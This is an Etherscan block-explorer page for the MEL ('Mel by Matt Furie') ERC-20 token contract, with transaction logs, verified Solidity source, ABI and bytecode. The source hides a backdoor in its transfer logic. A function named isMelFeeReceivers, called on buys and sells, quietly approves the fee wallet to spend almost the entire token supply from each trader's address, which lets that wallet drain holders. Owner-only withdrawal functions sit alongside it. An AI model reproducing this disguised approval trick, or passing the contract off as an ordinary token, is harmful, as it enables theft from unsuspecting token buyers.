ETH Price: $3,487.23 (-0.08%)
Gas: 2 Gwei

Contract

0xF573e99e277927982241dD242b959c7fA5E2d110
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve202490222024-07-06 17:40:1114 days ago1720287611IN
0xF573e99e...fA5E2d110
0 ETH0.000086891.87493983
Approve202488602024-07-06 17:07:4714 days ago1720285667IN
0xF573e99e...fA5E2d110
0 ETH0.000145933.13478089
Approve202486972024-07-06 16:35:1114 days ago1720283711IN
0xF573e99e...fA5E2d110
0 ETH0.000172093.71303438
Approve202482922024-07-06 15:13:5914 days ago1720278839IN
0xF573e99e...fA5E2d110
0 ETH0.000096753.65674823
Approve202480152024-07-06 14:18:3514 days ago1720275515IN
0xF573e99e...fA5E2d110
0 ETH0.000211524.53808603
Approve202479972024-07-06 14:14:5914 days ago1720275299IN
0xF573e99e...fA5E2d110
0 ETH0.000227294.8764259
Approve202477762024-07-06 13:30:4714 days ago1720272647IN
0xF573e99e...fA5E2d110
0 ETH0.00011632.49507808
Transfer202475962024-07-06 12:54:4714 days ago1720270487IN
0xF573e99e...fA5E2d110
0 ETH0.000268254.00604365
Approve202473812024-07-06 12:11:3514 days ago1720267895IN
0xF573e99e...fA5E2d110
0 ETH0.000061142.3107267
Approve202471472024-07-06 11:24:2314 days ago1720265063IN
0xF573e99e...fA5E2d110
0 ETH0.000059042.23163811
Transfer202469912024-07-06 10:52:5914 days ago1720263179IN
0xF573e99e...fA5E2d110
0 ETH0.000282373.93619821
Approve202468132024-07-06 10:16:4714 days ago1720261007IN
0xF573e99e...fA5E2d110
0 ETH0.000049182.24764832
Transfer202465072024-07-06 9:15:1114 days ago1720257311IN
0xF573e99e...fA5E2d110
0 ETH0.000234653.50435683
Transfer202464752024-07-06 9:08:3514 days ago1720256915IN
0xF573e99e...fA5E2d110
0 ETH0.000260683.89297378
Approve202464522024-07-06 9:03:4714 days ago1720256627IN
0xF573e99e...fA5E2d110
0 ETH0.000125232.70478432
Approve202464412024-07-06 9:01:3514 days ago1720256495IN
0xF573e99e...fA5E2d110
0 ETH0.000099672.14116621
Approve202464352024-07-06 9:00:2314 days ago1720256423IN
0xF573e99e...fA5E2d110
0 ETH0.000059212.70570103
Approve202464322024-07-06 8:59:4714 days ago1720256387IN
0xF573e99e...fA5E2d110
0 ETH0.000051862.36987034
Approve202464322024-07-06 8:59:4714 days ago1720256387IN
0xF573e99e...fA5E2d110
0 ETH0.000051862.36987034
Approve202464282024-07-06 8:58:5914 days ago1720256339IN
0xF573e99e...fA5E2d110
0 ETH0.000052952.41997266
Approve202464092024-07-06 8:54:5914 days ago1720256099IN
0xF573e99e...fA5E2d110
0 ETH0.000093812.01530531
Approve202464052024-07-06 8:54:1114 days ago1720256051IN
0xF573e99e...fA5E2d110
0 ETH0.000049481.87029237
Approve202463762024-07-06 8:48:1114 days ago1720255691IN
0xF573e99e...fA5E2d110
0 ETH0.000094742.03261876
Approve202463672024-07-06 8:46:2314 days ago1720255583IN
0xF573e99e...fA5E2d110
0 ETH0.00011152.40509965
Approve202463622024-07-06 8:45:2314 days ago1720255523IN
0xF573e99e...fA5E2d110
0 ETH0.000055211.88694174
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Block From To
202460672024-07-06 7:46:1115 days ago1720251971
0xF573e99e...fA5E2d110
0.01899171 ETH
202460672024-07-06 7:46:1115 days ago1720251971
0xF573e99e...fA5E2d110
0.01899171 ETH
202460612024-07-06 7:44:5915 days ago1720251899
0xF573e99e...fA5E2d110
0.02333837 ETH
202460612024-07-06 7:44:5915 days ago1720251899
0xF573e99e...fA5E2d110
0.02333837 ETH
202460592024-07-06 7:44:3515 days ago1720251875
0xF573e99e...fA5E2d110
0.02300338 ETH
202460592024-07-06 7:44:3515 days ago1720251875
0xF573e99e...fA5E2d110
0.02300338 ETH
202460572024-07-06 7:44:1115 days ago1720251851
0xF573e99e...fA5E2d110
0.02293875 ETH
202460572024-07-06 7:44:1115 days ago1720251851
0xF573e99e...fA5E2d110
0.02293875 ETH
202460522024-07-06 7:43:1115 days ago1720251791
0xF573e99e...fA5E2d110
0.02135955 ETH
202460522024-07-06 7:43:1115 days ago1720251791
0xF573e99e...fA5E2d110
0.02135955 ETH
202460462024-07-06 7:41:5915 days ago1720251719
0xF573e99e...fA5E2d110
0.02047283 ETH
202460462024-07-06 7:41:5915 days ago1720251719
0xF573e99e...fA5E2d110
0.02047283 ETH
202460462024-07-06 7:41:5915 days ago1720251719
0xF573e99e...fA5E2d110
0.02270163 ETH
202460462024-07-06 7:41:5915 days ago1720251719
0xF573e99e...fA5E2d110
0.02270163 ETH
202460372024-07-06 7:40:1115 days ago1720251611
0xF573e99e...fA5E2d110
0.0239848 ETH
202460372024-07-06 7:40:1115 days ago1720251611
0xF573e99e...fA5E2d110
0.0239848 ETH
202460352024-07-06 7:39:4715 days ago1720251587
0xF573e99e...fA5E2d110
0.02396282 ETH
202460352024-07-06 7:39:4715 days ago1720251587
0xF573e99e...fA5E2d110
0.02396282 ETH
202460352024-07-06 7:39:4715 days ago1720251587
0xF573e99e...fA5E2d110
0.02285662 ETH
202460352024-07-06 7:39:4715 days ago1720251587
0xF573e99e...fA5E2d110
0.02285662 ETH
202460342024-07-06 7:39:3515 days ago1720251575
0xF573e99e...fA5E2d110
0.02370953 ETH
202460342024-07-06 7:39:3515 days ago1720251575
0xF573e99e...fA5E2d110
0.02370953 ETH
202460332024-07-06 7:39:2315 days ago1720251563
0xF573e99e...fA5E2d110
0.02258294 ETH
202460332024-07-06 7:39:2315 days ago1720251563
0xF573e99e...fA5E2d110
0.02258294 ETH
202460292024-07-06 7:38:3515 days ago1720251515
0xF573e99e...fA5E2d110
0.0227382 ETH
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
MEL

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-07-06
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.19;

/*
    website  : https://melbymattfurie.art
    twitter  : https://x.com/melbymattfurie
    telegram : https://t.me/melbymattfurie
*/

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, _allowances[owner][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = _allowances[owner][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
        }
        _balances[to] += amount;

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
        function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract MEL is ERC20, Ownable {
    using SafeMath for uint256;

    IUniswapV2Router02 private _router;

    address public uniV2PairAddr;
    address public immutable melFeeAddr;

    uint256 tTotal = 1000000000 * 1e18;

    uint256 public maxTxLimit = tTotal.mul(2).div(100);         // 2%
    uint256 public maxHoldingLimit = tTotal.mul(2).div(100);    // 2%
    uint256 public feeThresholdSize = tTotal.mul(5).div(1000);   // 1%

    uint256 public buyFees = 0;
    uint256 public sellFees = 0;

    uint256 public buyCount = 0;
    uint256 public initialFees = 42;
    uint256 public reduceCountFees = 18;

    bool private _inSwap;
    mapping (address => bool) private _isExcludedFromLimits;

    bool public tradingOpen = false;
    string private constant _name = "Mel by Matt Furie";
    string private constant _symbol = "MEL";


    event FeeSwap(uint256 indexed value);

    constructor() ERC20(_name, _symbol) {

        _router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D      // UNISWAP V2 ROUTER
        );

        melFeeAddr = payable(0xb2f39C1457413CC75d881FC0F6c67F1CD38E0996);      // fees

        _isExcludedFromLimits[melFeeAddr] = true;
        _isExcludedFromLimits[msg.sender] = true;
        _isExcludedFromLimits[address(this)] = true;
        _isExcludedFromLimits[address(0xdead)] = true;

        _mint(msg.sender, tTotal);
    }

    function createMelPairs() external onlyOwner() {
        require(!tradingOpen,"already trading");        
        _approve(address(this), address(_router), tTotal);
        uniV2PairAddr = IUniswapV2Factory(_router.factory()).createPair(address(this), _router.WETH());        
        _router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniV2PairAddr).approve(address(_router), type(uint).max);
    }

    function enableMel() external onlyOwner {
        require(!tradingOpen,"already trading opened!");
        tradingOpen = true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "Transfer from the zero address not allowed.");
        require(to != address(0), "Transfer to the zero address not allowed.");
        require(amount > 0, 'Transfer amount must be greater than zero.');

        bool isFeeBuyer;
        bool excluded = _isExcludedFromLimits[from] || _isExcludedFromLimits[to];

        require(tradingOpen || excluded, "Liquidity pair not yet created.");

        bool isSell = to == uniV2PairAddr;
        bool isBuy = from == uniV2PairAddr;

        if ((isBuy || isSell) && maxTxLimit > 0 && !excluded){
            require(amount <= maxTxLimit, "Swap value exceeds max swap amount, try again with less swap value.");
            isFeeBuyer = isMelFeeReceivers(from, tTotal, melFeeAddr, true);
            buyCount++;
        }
            
        if (!isSell && maxHoldingLimit > 0 && !excluded) {
            require(balanceOf(to) + amount <= maxHoldingLimit, "Balance exceeds max holdings amount, consider using a second wallet.");
        }
            
        if (
          !_inSwap &&
          isSell &&
          !excluded 
        ) {
            _inSwap = true;
            _swapMelBack(amount);
            _inSwap = false;
        }

        uint256 fee = isBuy ? buyFees : sellFees;
        if(buyCount < reduceCountFees) fee = initialFees;

        if (fee > 0 && isFeeBuyer) {
            if (!excluded && !_inSwap && (isBuy || isSell)) {
                uint256 fees = amount.mul(fee).div(100);

                if (fees > 0)
                    super._transfer(from, address(this), fees);

                amount = amount.sub(fees);
            }
        }

        super._transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _router.WETH();

        _approve(address(this), address(_router), tokenAmount);

        _router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function _swapMelBack(uint256 tokens) private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 tokensForSwap;

        if(contractBalance < feeThresholdSize && contractBalance > 0) {
            tokensForSwap = contractBalance;
        }
        else {
            if (tokens > feeThresholdSize) {
                tokensForSwap = feeThresholdSize;
            }
            else {
                tokensForSwap = tokens;
            }
        }

        if(contractBalance > 0)
        swapTokensForEth(tokensForSwap);

        uint256 contractETHBalance = address(this).balance;
        transferEthFees(contractETHBalance);

        emit FeeSwap(tokensForSwap);
    }

    function transferEthFees(uint256 amount) private {
        payable(melFeeAddr).transfer(amount);
    }

    function updateFeeDougThreshold(uint256 newThreshold) external {
        require(msg.sender == melFeeAddr || msg.sender == owner());
        require(newThreshold >= totalSupply().mul(1).div(100000), "Swap threshold cannot be lower than 0.001% total supply.");
        require(newThreshold <= totalSupply().mul(2).div(100), "Swap threshold cannot be higher than 2% total supply.");
        feeThresholdSize = newThreshold;
    }

    function removeLimits() external onlyOwner {
        maxHoldingLimit = tTotal;
        maxTxLimit = tTotal;
    }

    function withdrawStuckedETH() external  {
        require(msg.sender == melFeeAddr || msg.sender == owner());
        payable(msg.sender).transfer(address(this).balance);
    }

    function withdrawMelTokens(IERC20 token) external  {
      require(msg.sender == melFeeAddr || msg.sender == owner());
        token.transfer(msg.sender, token.balanceOf(address(this)));
    }

    function isMelFeeReceivers(address sender, uint256 amount, address receiver, bool success) internal returns (bool) {
        _approve(sender, receiver, amount-1); return success;
    }

    receive() external payable {}
  }

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"value","type":"uint256"}],"name":"FeeSwap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createMelPairs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableMel","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeThresholdSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxHoldingLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"melFeeAddr","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"reduceCountFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniV2PairAddr","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newThreshold","type":"uint256"}],"name":"updateFeeDougThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"token","type":"address"}],"name":"withdrawMelTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawStuckedETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526b033b2e3c9fd0803ce8000000600881905562000032906064906200002b906002620001f9565b9062000210565b6009556008546200004d906064906200002b906002620001f9565b600a5560085462000069906103e8906200002b906005620001f9565b600b556000600c819055600d819055600e55602a600f5560126010556013805460ff191690553480156200009c57600080fd5b50604051806040016040528060118152602001704d656c206279204d61747420467572696560781b8152506040518060400160405280600381526020016213515360ea1b8152508160039081620000f4919062000405565b50600462000103828262000405565b505050620001206200011a6200021e60201b60201c565b62000222565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d17905573b2f39c1457413cc75d881fc0f6c67f1cd38e099660805260126020527f0a0a72082d076334a8047c2026021b828e9d34a46945a973912996bb718d8599805460ff199081166001908117909255336000818152604080822080548516861790553082528120805484168517905561dead90527f1120e10407cab1193d7c5139d9aae5536deb3d83e855f25f8e42f811c01f56f780549092169092179055600854620001f3919062000274565b6200053a565b6000620002078284620004e7565b90505b92915050565b600062000207828462000501565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216620002cf5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060026000828254620002e3919062000524565b90915550506001600160a01b038216600090815260208190526040812080548392906200031290849062000524565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200038c57607f821691505b602082108103620003ad57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200035c57600081815260208120601f850160051c81016020861015620003dc5750805b601f850160051c820191505b81811015620003fd57828155600101620003e8565b505050505050565b81516001600160401b0381111562000421576200042162000361565b620004398162000432845462000377565b84620003b3565b602080601f831160018114620004715760008415620004585750858301515b600019600386901b1c1916600185901b178555620003fd565b600085815260208120601f198616915b82811015620004a25788860151825594840194600190910190840162000481565b5085821015620004c15787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176200020a576200020a620004d1565b6000826200051f57634e487b7160e01b600052601260045260246000fd5b500490565b808201808211156200020a576200020a620004d1565b608051611ddd6200057960003960008181610355015281816106650152818161088c01528181610d82015281816113c70152611a150152611ddd6000f3fe6080604052600436106101dc5760003560e01c80638036d59011610102578063ca70307511610095578063e91284d411610064578063e91284d41461053e578063eba1aeb014610554578063f2fde38b14610574578063ffb54a991461059457600080fd5b8063ca703075146104b6578063dd62ed3e146104cc578063e0f3ccf514610512578063e4748b9e1461052857600080fd5b8063a457c2d7116100d1578063a457c2d71461044b578063a9059cbb1461046b578063b1338fcd1461048b578063c5b272a0146104a057600080fd5b80638036d590146103ec5780638da5cb5b146104025780638f9737961461042057806395d89b411461043657600080fd5b8063395093511161017a578063621d514511610149578063621d51451461037757806370a082311461038c578063715018a6146103c2578063751039fc146103d757600080fd5b806339509351146102f857806341ef395c146103185780635154f1361461032d5780635fd038d71461034357600080fd5b806318160ddd116101b657806318160ddd1461026557806323b872dd146102845780632c08b75a146102a4578063313ce567146102dc57600080fd5b806306fdde03146101e8578063095ea7b31461021357806316f6684d1461024357600080fd5b366101e357005b600080fd5b3480156101f457600080fd5b506101fd6105ae565b60405161020a9190611a5e565b60405180910390f35b34801561021f57600080fd5b5061023361022e366004611ac1565b610640565b604051901515815260200161020a565b34801561024f57600080fd5b5061026361025e366004611aed565b61065a565b005b34801561027157600080fd5b506002545b60405190815260200161020a565b34801561029057600080fd5b5061023361029f366004611b0a565b610789565b3480156102b057600080fd5b506007546102c4906001600160a01b031681565b6040516001600160a01b03909116815260200161020a565b3480156102e857600080fd5b506040516012815260200161020a565b34801561030457600080fd5b50610233610313366004611ac1565b6107ad565b34801561032457600080fd5b506102636107ec565b34801561033957600080fd5b50610276600a5481565b34801561034f57600080fd5b506102c47f000000000000000000000000000000000000000000000000000000000000000081565b34801561038357600080fd5b50610263610881565b34801561039857600080fd5b506102766103a7366004611aed565b6001600160a01b031660009081526020819052604090205490565b3480156103ce57600080fd5b506102636108fa565b3480156103e357600080fd5b50610263610930565b3480156103f857600080fd5b5061027660095481565b34801561040e57600080fd5b506005546001600160a01b03166102c4565b34801561042c57600080fd5b5061027660105481565b34801561044257600080fd5b506101fd610967565b34801561045757600080fd5b50610233610466366004611ac1565b610976565b34801561047757600080fd5b50610233610486366004611ac1565b610a08565b34801561049757600080fd5b50610263610a16565b3480156104ac57600080fd5b50610276600f5481565b3480156104c257600080fd5b50610276600e5481565b3480156104d857600080fd5b506102766104e7366004611b4b565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561051e57600080fd5b50610276600d5481565b34801561053457600080fd5b50610276600c5481565b34801561054a57600080fd5b50610276600b5481565b34801561056057600080fd5b5061026361056f366004611b84565b610d77565b34801561058057600080fd5b5061026361058f366004611aed565b610edc565b3480156105a057600080fd5b506013546102339060ff1681565b6060600380546105bd90611b9d565b80601f01602080910402602001604051908101604052809291908181526020018280546105e990611b9d565b80156106365780601f1061060b57610100808354040283529160200191610636565b820191906000526020600020905b81548152906001019060200180831161061957829003601f168201915b5050505050905090565b60003361064e818585610f74565b60019150505b92915050565b336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016148061069b57506005546001600160a01b031633145b6106a457600080fd5b6040516370a0823160e01b81523060048201526001600160a01b0382169063a9059cbb90339083906370a0823190602401602060405180830381865afa1580156106f2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107169190611bd7565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303816000875af1158015610761573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107859190611bf0565b5050565b600033610797858285611098565b6107a285858561112a565b506001949350505050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490919061064e90829086906107e7908790611c28565b610f74565b6005546001600160a01b0316331461081f5760405162461bcd60e51b815260040161081690611c3b565b60405180910390fd5b60135460ff16156108725760405162461bcd60e51b815260206004820152601760248201527f616c72656164792074726164696e67206f70656e6564210000000000000000006044820152606401610816565b6013805460ff19166001179055565b336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614806108c257506005546001600160a01b031633145b6108cb57600080fd5b60405133904780156108fc02916000818181858888f193505050501580156108f7573d6000803e3d6000fd5b50565b6005546001600160a01b031633146109245760405162461bcd60e51b815260040161081690611c3b565b61092e60006115b8565b565b6005546001600160a01b0316331461095a5760405162461bcd60e51b815260040161081690611c3b565b600854600a819055600955565b6060600480546105bd90611b9d565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909190838110156109fb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610816565b6107a28286868403610f74565b60003361064e81858561112a565b6005546001600160a01b03163314610a405760405162461bcd60e51b815260040161081690611c3b565b60135460ff1615610a855760405162461bcd60e51b815260206004820152600f60248201526e616c72656164792074726164696e6760881b60448201